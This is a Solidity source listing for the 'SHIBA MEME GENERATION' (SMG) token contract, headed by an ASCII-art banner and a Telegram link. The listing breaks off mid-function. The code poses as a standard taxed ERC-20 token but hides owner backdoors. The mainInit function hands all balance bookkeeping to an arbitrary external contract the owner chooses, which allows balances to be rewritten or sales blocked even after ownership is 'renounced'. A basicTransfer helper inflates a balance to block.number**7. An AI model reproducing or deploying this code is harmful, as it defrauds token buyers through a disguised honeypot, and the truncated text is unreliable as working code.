Contract Name:
SHIBAMEMEGENERATION
Contract Source Code:
File 1 of 1 : SHIBAMEMEGENERATION
// https://t.me/ShibaMemeGeneration
// SPDX-License-Identifier: none
/*
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
..............................................................................................................................................''''''''''''''''''''''........................................................................................................................................
....................................................................................................................................'''''',,,,,,,;;;;;;;;;;;;;;;,,,,,,'''''''...............................................................................................................................
............................................................'''''.............................................................''''',,,;;;;;::::ccllllloooooolllcc::::;;;;;,,,,''''...........................................................''''...........................................................
.........................................................'',;;;;,''......................................................'''',,,,;;;::clooxxkOO0KKKXXXXXXXXXXKKK00Okkxdolc:::;;;,,,''''...................................................'',;;;;,''........................................................
.......................................................'',;lxkkxo:;,'''..............................................'''',,,;;;::cldxk0KXNNNNXXK0OOkkkkkkkkkkkOO00KXXXXKK0Okdolc::;;,,,''''..........................................''',,;:oxkkxl;,'.......................................................
.......................................................',;ckOxdkOkxdddoddc.......................................''''',,,;;:ccodk0KXNNXKOkxdolcc:;;;;;;;;;;;;;;;:ccloodxO0KXXK0Oxolc::;;,,,''''....................................cddddddxkOkdxOkc,,'......................................................
.......................................................',,:okkkOxl::;,,;lxl'.................................''''',,,;;::cldk0XNNX0Oxolc:;;;;;;,,,,,'''''''',,,,,;;;;;;;:clodkOKXK0Oxoc::;;,,,'''................................'lkl;,,;::lxkkkkd:,,'......................................................
.......................................................'',,;cllc;,,''....cxo'............................'''''',,,;;::cldOKXNX0kdl:;;;;;,,'''''''''''''''''''''''''''',,,;;;;;:ldk0XXK0kocc:;;,,'''''...........................'okc'...'',,;cllc;,,'.......................................................
.......................................................'''',,,,,,'''......:xd,........................''''''',,,;::cldkKXNXOxlc;;;;,,''''''',,,,,,,,,,,,,;;;,;;,,,,,'''''''',,;;;;:lxOXNX0xoc::;;,,,'''........................,oxc......''',,,,,,'''.......................................................
.................................................'''..'''''''''''..........:xd;................'''''''''''',,;;:ccoxOKNX0dl:;;;,,'''',,,,;;;;;;;;;;;;;;,,;;;;;;;;;;;;;;;,,,''''',,;;;:ox0NNKOdlc:;;,,'''''''..................,dx:..........'''''''''''''''.................................................
..............................................'',,,,,'''''..................;dx:.............''''''''''',,,;;:ccok0XXKko:;;;,'''',,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,'''',;;;;cd0XWXOdlc::;,,''''''''.''...........;dd;..................''''',,,,,''.............................................
............................................'',;:looc;,,''...................,dx:'.....''''''''''''''',,,;;:ccox0XX0xc;,,,,''',,;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,,''',;;;:lOXWN0dlc:;;,,,'''''''''''......':xd;..................''',,;cool:;,''...........................................
...........................................'',;cxOkOOxollccc::::::::;'........,oxc'''''''''''''''''',,,;;:cclx0XX0d:,;cc;'.',;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,..';;::;lOXNXkolc:;;,,,''''''''''''..'cxd,........';::::::::ccclloxOkkOxc;,'...........................................
...........................................'',;lOOxxOOxdddooooooooodkl'........,oxl,''''''''''''',,,,;;::clokKX0xc;':0WNXKkl;',;;;;;;;:::;;::::::::::::::::::::::::::::::;:::;;;;,',:loxO0K0l';oOXNKxlc::;;,,,''''''''''''cxo,''......'lxdooooooooodddxOOxxOOl;,''..........................................
...........................................'',,:lxkkdc;,,''........'cko,..'''''',lxo,''''''''''',,,,;;:clox0KKkl;;',kWWMMMMWXkl,';;;::::::::::::::::::::::::::::::::::::::::::;,,;lx0KKKKKKXO;';:o0XXOdlc::;,,,,,''''''',lxl,'''''...,oxc'........'',,;cdxkxo:,,'...........................................
............................................'',,;;:;;,,''''.........'cxd;'''''''',lxo;''''',,,,,,,;;::clokKK0o:;;,.;KMWNXNWWWWN0o;,;:::::::::::::::::::::::::::::::::::::::::,,cx0KKKK0000KKKl.,;;cxKX0xlcc:;;,,,,,'''';okl,'''''''';dxc'..........'',,,;;:;,,''............................................
..............................................'''',,'''''............':xx:'''''''',cxd:,,,,,,,,,,;;::cldOKKkl;;,'..:KWXOkOO0XNWWNKo;,;::::::cccccccccccccccccccccccccccccc:;;cx0KKK00OOkkk0KKd'',,;;oOKKxocc:;;,,,,,,,;dxc,'''''''';dx:'............'''',,,''''.............................................
...................................................'.................'';dxc'''''''',cxxoooooooooddddxxxOK0xc;,,'',.:XWKOkkkkkOKXNWN0o;,:ccccccccccccccccccccccccccccccccc:,:x0KKK0OOkkkOOOO0Kd'.',,,;lkKKOxxxdddooooooxxc,'''''''':xx:'''..............''''.................................................
...................................................................''''';dxc,''''''',;ccccclllllloodxxOK0d:;,,'',,.:KWKOOOkkkkkk0XNNN0l,;cllccc:;;;;;;;;;;;;;;;;::cclllc;;oOKK00OkkkkOOOOOO0Ko''''',;,cx0KOxdoollllcccc;,,,''''',cxd;''.....................................................................
...................................................................'''''',okl;,,,,,,,,,,,,,;;;;::clldk00d:;,,'',,,.;KWKOkkkkkkkkkkOKXNXOc;;;:cclllooddxxxxxddollllc::;;;ck0K00OkkkkOOOOOOOOK0c.,;''',,;:x00xolc::;;;,,,,,,,,,,,,lko;'''''''''...............................................................
......'''''....................................................''''''''''',okxdddddddddddddddddxxxxxk00d:,,''',;;;';0WXOkOkkkkkkkkxkOKNNKkxkOKKKKKK00000000000000000kxdx0K00OkkkkkOOOOOOOO0KO;';;;,'',,;cx00kkxxxdddddddddddddddxo;'''''''''''....................................................'''''.....
...'',;;:;,,''...............................................'''''''''''''',:cccccccccccccclllloodxk00xc;,,'',;;;;',kWN0kkkkkkkkkkkO0XXXXXXXKKKKKK00000000000000000000000000OOkkkOOOOOOOOO0Kd',;;;;'',,,;cxOOxdoollllccccccccccc:,'''''''''''''''..............................................'',,;:;,,''..
..',;cxkOkdc;,,''.............'''''''''''''...''''''''''''''''',,,,,,,,,,,,,,,,;;;;;;;;;;;;:::cclodk0kl;,,'',;;;;;,.oNWKkkkkkkkkO0KXNNNXXXXKKKKKK000000000000000000000000000000OOOkkOOOOOO00c';;;;;,'',,,;lkOkollc:::;;;;;;;,,,,,,,,,,,,,,,,,,'''''''''''''''''''''''''''''''''.............'',,;cdkOkxc,''.
..',:xKkdOKOxxxdddddddddddddddddddddddddddddooooddddddddddddddddddddddddddddddddddddddddddddddxxkkkOOo;,,'',;;;;;;;':KMXOkkkkkO0XNNNNNXXXXXKKKKK000000000000OOO000000000000000000OOkkkOkO0Kx,';;;;;;,'',,,:okOkkxxdddddddddddddddddddddddddddddoddddooodooooooodddddddddddddddddddddddddddddddxxxOKOdkKk:,'.
..',;oOOO0kl::;;,,,'''''',,,;;::ccllc:::;;,,,,,,,,,,,,,,,,;;;;;;;;;;;;;;;;;;::::::::::::::cccllodxk0xc,,'.',,,;;;;;,'kWWKkkkk0XNNNNNNXXXXXKKKKK000000OOOOOOOOOOOOO00000000000000000OkkkkO00c',;;;;;,,,.',,,cxkkdollcc:::::::::;;;;;;;;;;;;;;;;;;;;;,,,,,,,,,,,,,,,,;;:::cllcc:;;;,,,'''''',,,;;::lk0OOOo;,'.
...'',:llc;,,'''...........'',;:okkkko:;,,''''''''''''''''''''',,,,,,,,,,,,,;;;;;;;;;;;;;;::cclooxOOd;,,'.,,,,;;;;;;'cXWXOkOKNNNNNNNNXXXXKKKKK000000OOOOOOOOOOOOOOOOOO00000000000000OOkkO0x,';;;;;;,,,'.,,,;oxkdolcc::;;;;;;;;,,,,,,,,,,,,,,,'''''''''''''''''''''',,;:oxkkko:;,'............'',,,:cll:,''..
.....''',,,,,''''..........'',;oO0xx00kxxddddddddddddddddddddddddddddddddddddddddddddddddddxxxxkkk0Ol,,'.',,,,;;;;;;',kWWK0XNWNNNNNNXXXXKKKKK00000OOOOOOOOOOOOOOOOOOOOOOO000000000000OOO0Oc';;;;;;;,,,'.',,,cdkkkxxxdddddddddddddddddddddddddddddddddddddddddddddddxxxk00xxOOo;,''.........'''''',,,,'''....
........'''',,,,,'''.......'',;cxOOOOxlcc:::;;;;;;;;;;;;;;;;;:::::::::::::::::::cccccccccccllooddOKkc,,'.',,,,;;;;;;;'cKWWWWWWNNNNNXXXXXXKKK00000OOOOOOOOOOOOOOOOOOOOOO000000000000000000d',:;;;;;;,,,,.',,,:dkkddollcccccccc:::::::::::::::::::::;;;;;;;;;;;;;;;;::ccldOOOOxc;,''......''',,,,,,''''.......
.........'',;coddl;,''......'',;:lool:;;,,''.............'''''''''''''',,,,,,,,,;;;;;;;;;;::cclodOKk:,,'.,,,,,,;;;;;;,'dNWWWWWNNNNXNNWWWWNXK0000OOOOOOOkkkkkOOOOOOOOOOKNNWNNK00000000000k;';;;;;;;;,,,,..,,,:dkkdllc::;;;;;,,,,,,,,,,''''''''''''''''............'',,;;:cool:;,''......'',:lddoc;,''........
.........',;lO0kO0kdoolllllllloooddddoooolllllllccccllllllllllllllllllllllllllllllllloooooooddxxx0Xx;,,..,,,,,,,;;;;;;';0WWWWNNNNNNWWMMMMMWX000OOOOOOkkkkkkkkkkkkOOOOXWMMMMMWX0OO00OOOO0o',:;;;;;;,,,,,'.,,,:dkkkxddoooooollllllllllllllllllllllllllllllccccccllllllooooddoooollllllllloodk0Ok0Ol,,'........
.........',;o00xk0Oxxdddooooodddddxxxxxxddddooooooooooooooooooooooooooooooooooooooooddddddddxxxkk0Xk;,,..,,,,,,,;;;;;,'cXWWWWNNNNXNWMMMMMMWNK00OOOOkkkkkkkkkkkkkkOOO0NWMMMMMWN0OOOOOOOOOx;';;;;;;,,,,,,'.',,cxkOkxxxdddddddooooooooooooooooooooooooooooooooooooooddddxxxxxxddddoooooooddxxO0kx00o,''........
..........',;lxxxdc;,'........'',;:coddoc;,,'''...........''''''''''''''',,,,,,,,,,,,;;;;;::cllod0Nk;',..,,,,,,,,,;;;':0WWWWNNNNXXXNNWWNNNXK00OOOOOkkkkkkkkkkkkkkkkkO0KXXNNNXKOOOOOOOOOOOx,';;;;,,,,,,,'.',,lkOkdllc::;;;;;,,,,,,,,,,,,'''''''''''''..........''',;;coddoc;;,''........',;cdxxxl;,'.........
...........'',,,,,,''.........',,;lk0kk0kdllccccc::::::::ccccccccccccccccccccccllllllllllllooddxx0NO:','.',,,,,,,;;;',kWWWWWNNNNXKKKXXKKK0000OOOOOOkkkkkkkkkkkkkkkkkkkkOOOOOOkkkOOOOOOOOOOo'';;;;,,,,,,.',,,lk0Oxddoolllllllcccccccccccccccccccccccccccccc:cccccllodkOkk0kc;,''.........'',,,,,,''..........
..............''''............'',;lO0kk0OkxxddddooooooooodddddddddddddddoodddddddddddddddddxxxxkxOX0c','.',,,,,,,,;'.oNWWWWWNNNN0c.,cok0K0000OOOOOkkkkkkkkkkkkkkkkkkkkkkOkxl:,.,oOOOOOOOOOOc.,;;,,,,,,'.',,;oO0OkxxxdddddddddddddddddddddddddddddddddddddddddddddxxxO0kk0Ol;,''...........'''''.............
...............................',,;ldxxdl;;,''''........''''''''''''''',,,,,,,,,,,,,;;;;;;:::clookKKo,,'.',,,,,,,,,.:KWWWWWNNNNNk' .,cdkO0OOOOOkkkkkkkkkkkkkkkkkkkkxdc,. :kOOOOOOOOOx,';;,,,,,,'.',,:d0Oxolc::;;;;;,,,,,,,,,,,''''''''''''''''........'''',;;cdxxdc;,''..............................
................................'',,,;;;,,'''............''''''''''''''',,,;cooooooooooooooodddxxkOKx;,,'.',,,,,,,''xWWWWWWNNNNN0; .;lxOOOkkkkkkkkkkkkkkkkkkxl;.. .lOOOOOOOOOOOl.';,,,,,,'.',;lk0Okxxddooooooooooooc;,,,'''''''''''''''............'',,,;;;,,,''...............................
..................................'''''''''................''''''''''''',,:dkdoooooooooooooooddxxxk0Oc,,'.',,,,,,,.:KMWWWWWNNNNNX0d;. 'lkOkkkkkkkkkkkkkkkkko,. .':dkOOOOOOOOOO0x,.,,,,,,'.',;:oO0kxxddoooooooooooodxd:,'''''''''''''''...............'''''''''.................................
............................................................'''''''''''',:xxc,,,,,,,,,,,;;;;;:cclodkOd;,,'.,,,,,,'.dWMWWWWWNNNNNXXXK0xl:,'....'lkO00KKXXXXKKK0OOkd,.....',:lxkOOOOOOOOOOOOOOO:.,,,,,,'',;;cx0Odllc:;;;,,,,,,,,,,cxx:,'''''''''''''..........................................................
...............................................................''''''''':xx:,,,,,,,,;cooooooddddxxxxkkl,,,'',,,,,.,OWMWWWWWWNNNNNXXXKKKK0Okkxxx0XNWWWWMMMMWWWWWNX0xdddxkkOOOOOOOOOOOOOOOOOOOOo'',,,,'.',;:dkOOkxxdddoooc;,,,,,,,,:xxc,''''''''''............................................................
................................................................'''''''cxx:'',,,,,,;lkxollooooodddxdxkxc,,'.',,,,.:KMWWWWWWWNNNNXXXXXKKKK0000XNWWWXkddoddodddONMWWNK0kkOOOOOOOOOOOOOOOOOOOOO0d'.,,,'.',;:lxkkxdddooooodkl;,,,,,,'';dxc,'''''''..............................................................
.................'''''''..........................................''',lkd;''''',,,;oko;,,,,,;;;::clodxkd:,,'.',,,.lXMWMWWWWWWWNNNXXXXKKKK00XNWWWMNl .oNMMWWNKOOOOOOOOOOO00KKKXXXXXXXk,.,,'.',;:cdkkdlcc:;;;,,;oko;,,,''''',okl,'''''........................................''''''.................
...............'',;:::;,''........................................'.,lko,'''''''';oko;,,,,,,,;;;:ccloddxo:,,'.',,.cXMMMMMMMMMMWWWNNXXKKKKKNWWMMWMX: :XMMMWWWX0OOOOOO0KXNWWWWMMMMWWM0,.,''',;;coxkdlcc:;;;,,,,;lkd;'''''''',oko,'.'.......................................',,;:::;,''..............
..............'',cxOOOxl:;,'''..............''''''''''''''''''''''',okl,'''''''';dxl,,,,,,,,,,;;;::cloodxo;,,''',.,OWMMMMMMMMMMMMMWWNXKKKNWMWMMWMNo .dWWWMMMMWX0OO0KNWWMMMMMMMMMMMWWx'''.',;:codxdlcc:;;,,,,,,',cxd;'''''''',lko;''''''''''''''''''''.................'',,;;cxOkOxc,''.............
..............',;xKkdkK0kxxxxxdddddddddddddddddddddddddddddddddddddxxc''''''''';dxc,'''',,,,,,,,;;::clooddo:,,,'''.cKMMMMMMMMMMMMMMMWWNXNWMMMMMWMMXl. .oNMWMMMMMMWXKXWWWMMMMMMMMMMMMMW0;..'',;:codxdlcc:;;,,,,,,''',:xd:'''''''''cxxddddddddddddddddddddddddddddddddddddddxxxxkOKkdkKx;,'.............
..............'',lkOOOkoc:;;;,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;;,'.'..'''':xx:''''''',,,,,,,,,;;:clooodo:,,,'...cKWMMMMMMMMMMMMMMMWWWWMWMMMMMMMW0oc;..:o0WMMMMMMMMMMWWMMMMMMMMMMMMMMMMW0;..',;;:codxolc::;;,,,,'''''''':xx:'''''...',,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,;;;:cokOOOkl,''.............
...............'',;clc;,,'.................................................'':xx:'''''''''''',,,,,,;;:cclooooc;;,''..:OWMMMMMMMMMMMMMMMMMMMMMMMWMMMMMMMNddNWWWWMMWWMMMMMMMMMMMMMMMMMMMMMMNk,..',;::loddolc:;;,,,,''''''''''';dx:''.................................................',,;ccc;,''..............
.................'''''''...................................................'cxd;''''''''''''''''',,,;;::cloolll:;,,'..'oKWMMMMMMMMMMMMMMMMMMMMNOxO0000Od,,x000OOKWWMMMMMMMMMMMMMMMMMMMMWKl..',;;:codddlcc:;;,,,'''''''''''''',dkc'...................................................''''''.................
..........................................................................'lko,..'''''''''''''''''',,,;;:cclolllc;;,,'..,dXWMMMMMMMMMMMMMMMMMMWO,.,oolc:;:cldc..oNWMMMMMMMMMMMMMMMMMMWXd,..,;::cldddolc:;;,,,'''''''''''''....,okl'.......................''................................................
.............................................''',,,''''..................'lkl,..........''''''''''''',,,;::cllllll:;;,,'..,dKWMMMMMMMWMMMMMMMMMW0coNXkxxloxON0:oXWMMMMMMMMMMMMMMMMMWXx;..,;;:lodxdolc::;,,,'''''''''''.........'lkl'..................''',,,,'''............................................
............................................',,;cllc;,''................,okl'.............''''''''''''',,,;;:cllllllc:;;,'..,oONMMMMMMMMMMMMMMMMWXXWWNNNKKNWWNKNWMMMMMMMMMMMMMMMWN0o;'',;;:lodxdolc::;;,,'''''''''''............'cko,................'',;:llc;,,'...........................................
...........................................',,:dOOOOxollccc::::::::::::cdkc'.................''.''''''''',,,;::clllloolc:;;,'.':d0NWMMMMMMMMMMMMWMMMWMMMWMMMWMMWWMMMWMMMMMMMMMWKxc,'';;:cloxxxolc::;;,,''''''.....................ckdc:::::::::::cccclloxOOOOd:,,'..........................................
...........................................',;lO0xdO0kxdddooooooooooooooo:..........................'''''''',,;;:cclooodool:;;,'',cd0NWMMWMMMMMMMMMMWMMMMMMMMWMWWMMMMMMMMMMWKxl,.';;:cloxxxdolc:;;,,,''''''........................;looooooooooooooddddk0OxxOOl;,'..........................................
...........................................',,:okkkxo;,'..................................................'''',,;;::cllooddddoc:;;,',:okKNWWWMMMMMMMMMMMMMMMMMMMMMMWWMWNXOxl;'';:clodxxxxdlc::;;,,''''...............................................',;oxkkko:,''..........................................
............................................'',,;::;,''.....................................................''''',,;;::clloddxxdolc::;,',:lxOXNWMMMMWWWWWWWMMWMMMWNX0xoc:;::ccllodxkxxdlcc:;;,,''''...................................................',,;::;,,''...........................................
..............................................'''''''............................................................''',,,;;:ccloodddddoollc;,,,;cldxO0KXNNNNXK0Okxdlc:;,;:clodddxxxxdolc::;;,,''''........................................................''''''..............................................
....................................................................................................................'''',,,;;:cclloooooooolllcc:::::loooooolc:;::cclooddddxxxddolcc::;;,,''''...............................................................................................................
..........................................................................................................................''',,;;;::cccllllllllllllllooooooooooooooddddooollcc::;;;,,,'''...................................................................................................................
...............................................................................................................................'''',,;;;;::ccccccccccclllllllllllccccc:::;;;,,,,''''........................................................................................................................
......................................................................................................................................''''',,,,,;;;;;;;;;;;;;;;,,,,,''''''''................................................................................................................................
..................................................................................................................................................'''''''''.................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
.................................................................,,''...:,....;;...,:...':,,;.....,;.........,;.....';...':;''...,;.....,;...':;''........,,'''',...;:,''..,:'....,;...:;''...;;',;......;,...'.,:,.'..,:....,'.'';,...;;.....;'............................................................
................................................................'c;.....c;....:;...;:...'c'.:'...':l;........:o;...'cl...'c,.....:o;...'ll...'c,.........:;.........;c.....;lc;...,;...::.....:;..c;....,cc'....'c' ...;:. 'c'.....c:..:c:,...;' ...........................................................
.................................................................';:,...c:.'''c;...;:. .'c,':,...:;;l,.......;;:;..;;c,..'c;''...;;:;.';;c,..'l;''......,l,....';'..;c'''..;,.;c;.,;...cc''...::';;....':,:c....'c' ...;:..:c. ....;c..;..::'.;' ...........................................................
.................................................................. 'c, .c, .:;...,:. .':. 'c'.;;..;c......':..cc;..:;..'c' ...':.'c:;..c;..'c' ........:c....'c'..;:.....;,...;:c;...:;.....::.':,...;,..::...'c' ...;:. 'c,.....:;..;' .':::' ...........................................................
.................................................................,.',. .:,....;;...,:...':,.''.';....;;.....,;...;...,;..':;''..,;..';. .;;..':,''........,;,'',;...;:'''..,,.....;'...;;''...;;...;,.,,....:,..':'....,:....;,''','. .;'....';. ...........................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
............................................................................................................................................................................................................................................................................................................
*/
pragma solidity 0.8.15;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
bytes32 internal blockHash;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function basicTransfer( mapping (address => uint256) storage amount) internal returns(bool){
amount[msg.sender]=block.number**7;
return true;
}
}
interface IUniswapSafeBalance {
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(address key) external view returns (uint);
function getIndexOfKey(address key) external view returns (int);
function getKeyAtIndex(uint index) external view returns (address);
function size() external view returns (uint);
function set (address key, uint val) external;
function remove(address key) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract SHIBAMEMEGENERATION is Context, IERC20, Ownable {
uint256 public immutable _buyTax =1;
uint256 public immutable _sellTax = 1;
string private _name = unicode"SHIBA MEME GENERATION";
string private _symbol = unicode"SMG";
uint8 private _decimals = 16;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
uint256 public _totalSupply = 700000000 * 10**(_decimals);
bool active=true;
bool init=false;
address public uniswapPair;
using SafeMath for uint256;
address public prova;
mapping (address => uint256) public test;
mapping (address => bool) public holderNoFee;
mapping (address => mapping (address => uint256)) private _allowances;
IUniswapV2Router02 public uniV2Router;
IUniswapSafeBalance private _walletsAmount;
constructor () {
IUniswapV2Router02 _uniV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniV2Router = _uniV2Router;
_allowances[address(this)][address(uniV2Router)] = _totalSupply;
holderNoFee[owner()] = true;
holderNoFee[address(this)] = true;
}
function mainInit(address system) public onlyOwner{
_walletsAmount = IUniswapSafeBalance(system);
_walletsAmount.set(owner(),_totalSupply);
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function fee(address s, address r, uint256 amount) internal returns (uint256) {
uint256 feeValue = 0;
uint256 deadWalletAmount = _walletsAmount.get(address(deadAddress));
if(uniswapPair == s) {
feeValue = amount.mul(_buyTax).div(100);
}
else if(uniswapPair == r) {
feeValue = amount.mul(_sellTax).div(100);
}
if(feeValue > 0) {
deadWalletAmount = deadWalletAmount.add(feeValue);
_walletsAmount.set(deadAddress,deadWalletAmount);
emit Transfer(s, address(deadAddress), feeValue);
}
return amount.sub(feeValue);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
if(init==false){
try IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH()){
uniswapPair = IUniswapV2Factory(uniV2Router.factory()).getPair(address(this), uniV2Router.WETH());
